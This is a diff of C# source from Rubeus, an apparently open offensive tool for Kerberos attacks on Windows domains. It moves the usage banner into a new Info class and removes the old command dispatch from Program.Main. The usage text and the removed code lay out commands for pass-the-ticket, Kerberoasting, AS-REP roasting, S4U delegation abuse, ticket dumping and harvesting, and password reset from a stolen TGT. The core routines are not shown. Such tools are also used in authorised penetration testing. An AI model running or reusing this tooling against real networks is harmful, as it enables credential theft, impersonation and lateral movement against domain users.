||||
|
||||
namespace Rubeus.Domain
|
||||
{
|
||||
public static class Info
|
||||
{
|
||||
public static void ShowLogo()
|
||||
{
|
||||
Console.WriteLine("\r\n ______ _ ");
|
||||
Console.WriteLine(" (_____ \\ | | ");
|
||||
Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
|
||||
Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
|
||||
Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
|
||||
Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
|
||||
Console.WriteLine(" v1.2.0\r\n");
|
||||
}
|
||||
|
||||
|
||||
public static void ShowUsage()
|
||||
{
|
||||
Console.WriteLine("\r\n Rubeus usage:");
|
||||
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
|
||||
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
|
||||
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
|
||||
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||
|
||||
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
|
||||
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
|
||||
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
||||
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
|
||||
|
||||
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
|
||||
|
||||
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
|
||||
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
|
||||
|
||||
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
|
||||
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
|
||||
|
||||
Console.WriteLine("\r\n Perform Kerberoasting:");
|
||||
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||
|
||||
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
|
||||
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||
|
||||
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
|
||||
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
|
||||
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
|
||||
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
|
||||
|
||||
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
|
||||
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||
|
||||
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
|
||||
|
||||
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
|
||||
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
|
@ -1,766 +1,32 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Asn1;
|
||||
using System.IO;
|
||||
using System.Text.RegularExpressions;
|
||||
using Rubeus.Domain;
|
||||
|
||||
namespace Rubeus
|
||||
{
|
||||
class Program
|
||||
public class Program
|
||||
{
|
||||
public static void Logo()
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
System.Console.WriteLine("\r\n ______ _ ");
|
||||
System.Console.WriteLine(" (_____ \\ | | ");
|
||||
System.Console.WriteLine(" _____) )_ _| |__ _____ _ _ ___ ");
|
||||
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
|
||||
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
|
||||
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
|
||||
System.Console.WriteLine(" v1.2.0\r\n");
|
||||
}
|
||||
Info.ShowLogo();
|
||||
|
||||
public static void Usage()
|
||||
{
|
||||
Console.WriteLine("\r\n Rubeus usage:");
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
|
||||
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
|
||||
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
|
||||
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
|
||||
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
|
||||
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
|
||||
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
|
||||
Console.WriteLine("\r\n Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe purge [/luid:LOGINID]");
|
||||
Console.WriteLine("\r\n Parse and describe a ticket (service ticket or TGT):");
|
||||
Console.WriteLine(" Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>");
|
||||
Console.WriteLine("\r\n Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:");
|
||||
Console.WriteLine(" Rubeus.exe createnetonly /program:\"C:\\Windows\\System32\\cmd.exe\" [/show]");
|
||||
Console.WriteLine("\r\n Perform Kerberoasting:");
|
||||
Console.WriteLine(" Rubeus.exe kerberoast [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||
Console.WriteLine("\r\n Perform Kerberoasting with alternate credentials:");
|
||||
Console.WriteLine(" Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\\USER /credpassword:PASSWORD [/spn:\"blah/blah\"] [/user:USER] [/ou:\"OU,...\"]");
|
||||
Console.WriteLine("\r\n Perform AS-REP \"roasting\" for users without preauth:");
|
||||
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
|
||||
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
|
||||
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
|
||||
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
|
||||
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
|
||||
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
|
||||
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
|
||||
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
|
||||
Console.WriteLine(" Rubeus.exe harvest [/interval:MINUTES]");
|
||||
|
||||
Console.WriteLine("\r\n\r\n NOTE: Base64 ticket blobs can be decoded with :");
|
||||
Console.WriteLine("\r\n [IO.File]::WriteAllBytes(\"ticket.kirbi\", [Convert]::FromBase64String(\"aa...\"))\r\n");
|
||||
}
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Logo();
|
||||
|
||||
var arguments = new Dictionary<string, string>();
|
||||
foreach (string argument in args)
|
||||
{
|
||||
int idx = argument.IndexOf(':');
|
||||
if (idx > 0)
|
||||
{
|
||||
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
|
||||
}
|
||||
// try to parse the command line arguments, show usage on failure and then bail
|
||||
var parsed = ArgumentParser.Parse(args);
|
||||
if (parsed.ParsedOk == false)
|
||||
Info.ShowUsage();
|
||||
else
|
||||
{
|
||||
arguments[argument] = "";
|
||||
}
|
||||
// Try to execute the command using the arguments passed in
|
||||
|
||||
var commandName = args.Length != 0 ? args[0] : "";
|
||||
|
||||
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
|
||||
|
||||
// show the usage if no commands were found for the command name
|
||||
if (commandFound == false)
|
||||
Info.ShowUsage();
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("asktgt"))
|
||||
{
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string hash = "";
|
||||
string dc = "";
|
||||
bool ptt = false;
|
||||
uint luid = 0;
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/rc4"))
|
||||
{
|
||||
hash = arguments["/rc4"];
|
||||
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||
}
|
||||
if (arguments.ContainsKey("/aes256"))
|
||||
{
|
||||
hash = arguments["/aes256"];
|
||||
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||
}
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/createnetonly"))
|
||||
{
|
||||
// if we're starting a hidden process to apply the ticket to
|
||||
if (!Helpers.IsHighIntegrity())
|
||||
{
|
||||
Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
|
||||
return;
|
||||
}
|
||||
if (arguments.ContainsKey("/show"))
|
||||
{
|
||||
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], true);
|
||||
}
|
||||
else
|
||||
{
|
||||
luid = LSA.CreateProcessNetOnly(arguments["/createnetonly"], false);
|
||||
}
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
if (String.IsNullOrEmpty(hash))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if ( !((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)) )
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("asktgs"))
|
||||
{
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
string service = "";
|
||||
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
service = arguments["/service"];
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Ask.TGS(kirbi, service, ptt, dc, true);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("renew"))
|
||||
{
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
if (arguments.ContainsKey("/autorenew"))
|
||||
{
|
||||
// if we want to auto-renew the TGT up until the renewal limit
|
||||
Renew.TGTAutoRenew(kirbi, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise a single renew operation
|
||||
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||
}
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
if (arguments.ContainsKey("/autorenew"))
|
||||
{
|
||||
// if we want to auto-renew the TGT up until the renewal limit
|
||||
Renew.TGTAutoRenew(kirbi, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
// otherwise a single renew operation
|
||||
byte[] blah = Renew.TGT(kirbi, ptt, dc);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("changepw"))
|
||||
{
|
||||
string newPassword = "";
|
||||
string dc = "";
|
||||
|
||||
if (arguments.ContainsKey("/new"))
|
||||
{
|
||||
newPassword = arguments["/new"];
|
||||
}
|
||||
if (String.IsNullOrEmpty(newPassword))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
Reset.UserPassword(kirbi, newPassword, dc);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("s4u"))
|
||||
{
|
||||
string targetUser = "";
|
||||
string targetSPN = "";
|
||||
string altSname = "";
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string hash = "";
|
||||
bool ptt = false;
|
||||
string dc = "";
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/ptt"))
|
||||
{
|
||||
ptt = true;
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/rc4"))
|
||||
{
|
||||
hash = arguments["/rc4"];
|
||||
encType = Interop.KERB_ETYPE.rc4_hmac;
|
||||
}
|
||||
if (arguments.ContainsKey("/aes256"))
|
||||
{
|
||||
hash = arguments["/aes256"];
|
||||
encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
|
||||
}
|
||||
if (arguments.ContainsKey("/impersonateuser"))
|
||||
{
|
||||
targetUser = arguments["/impersonateuser"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/msdsspn"))
|
||||
{
|
||||
targetSPN = arguments["/msdsspn"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/altservice"))
|
||||
{
|
||||
altSname = arguments["/altservice"];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(targetUser))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
// if the user is supplying a user and rc4/aes256 hash to first execute a TGT request
|
||||
|
||||
user = arguments["/user"];
|
||||
|
||||
if (String.IsNullOrEmpty(hash))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
|
||||
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("ptt"))
|
||||
{
|
||||
uint luid = 0;
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/ticket"))
|
||||
{
|
||||
string kirbi64 = arguments["/ticket"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
LSA.ImportTicket(kirbiBytes, luid);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
LSA.ImportTicket(kirbiBytes, luid);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("purge"))
|
||||
{
|
||||
uint luid = 0;
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
LSA.Purge(luid);
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("kerberoast"))
|
||||
{
|
||||
string spn = "";
|
||||
string user = "";
|
||||
string OU = "";
|
||||
|
||||
if (arguments.ContainsKey("/spn"))
|
||||
{
|
||||
spn = arguments["/spn"];
|
||||
}
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/ou"))
|
||||
{
|
||||
OU = arguments["/ou"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/creduser"))
|
||||
{
|
||||
if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
string[] parts = arguments["/creduser"].Split('\\');
|
||||
string domainName = parts[0];
|
||||
string userName = parts[1];
|
||||
|
||||
if (!arguments.ContainsKey("/credpassword"))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /credpassword is required when specifying /creduser\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
string password = arguments["/credpassword"];
|
||||
|
||||
System.Net.NetworkCredential cred = new System.Net.NetworkCredential(userName, password, domainName);
|
||||
|
||||
Roast.Kerberoast(spn, user, OU, cred);
|
||||
}
|
||||
else
|
||||
{
|
||||
Roast.Kerberoast(spn, user, OU);
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("asreproast"))
|
||||
{
|
||||
string user = "";
|
||||
string domain = "";
|
||||
string dc = "";
|
||||
string format = "john";
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
user = arguments["/user"];
|
||||
}
|
||||
if (arguments.ContainsKey("/domain"))
|
||||
{
|
||||
domain = arguments["/domain"];
|
||||
}
|
||||
if (arguments.ContainsKey("/dc"))
|
||||
{
|
||||
dc = arguments["/dc"];
|
||||
}
|
||||
if (arguments.ContainsKey("/format"))
|
||||
{
|
||||
format = arguments["/format"];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(user))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(dc))
|
||||
{
|
||||
Roast.ASRepRoast(user, domain, "", format);
|
||||
}
|
||||
else
|
||||
{
|
||||
Roast.ASRepRoast(user, domain, dc, format);
|
||||
}
|
||||
}
|
||||
|
||||
else if (arguments.ContainsKey("dump"))
|
||||
{
|
||||
if (arguments.ContainsKey("/luid"))
|
||||
{
|
||||
string service = "";
|
||||
if (arguments.ContainsKey("/service"))
|
||||
{
|
||||
service = arguments["/service"];
|
||||
}
|
||||
UInt32 luid = 0;
|
||||
try
|
||||
{
|
||||
luid = UInt32.Parse(arguments["/luid"]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
luid = Convert.ToUInt32(arguments["/luid"], 16);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/LUID"]);
|
||||
return;
|
||||
}
|
||||
}
|
||||
LSA.ListKerberosTicketData(luid, service);
|
||||
}
|
||||
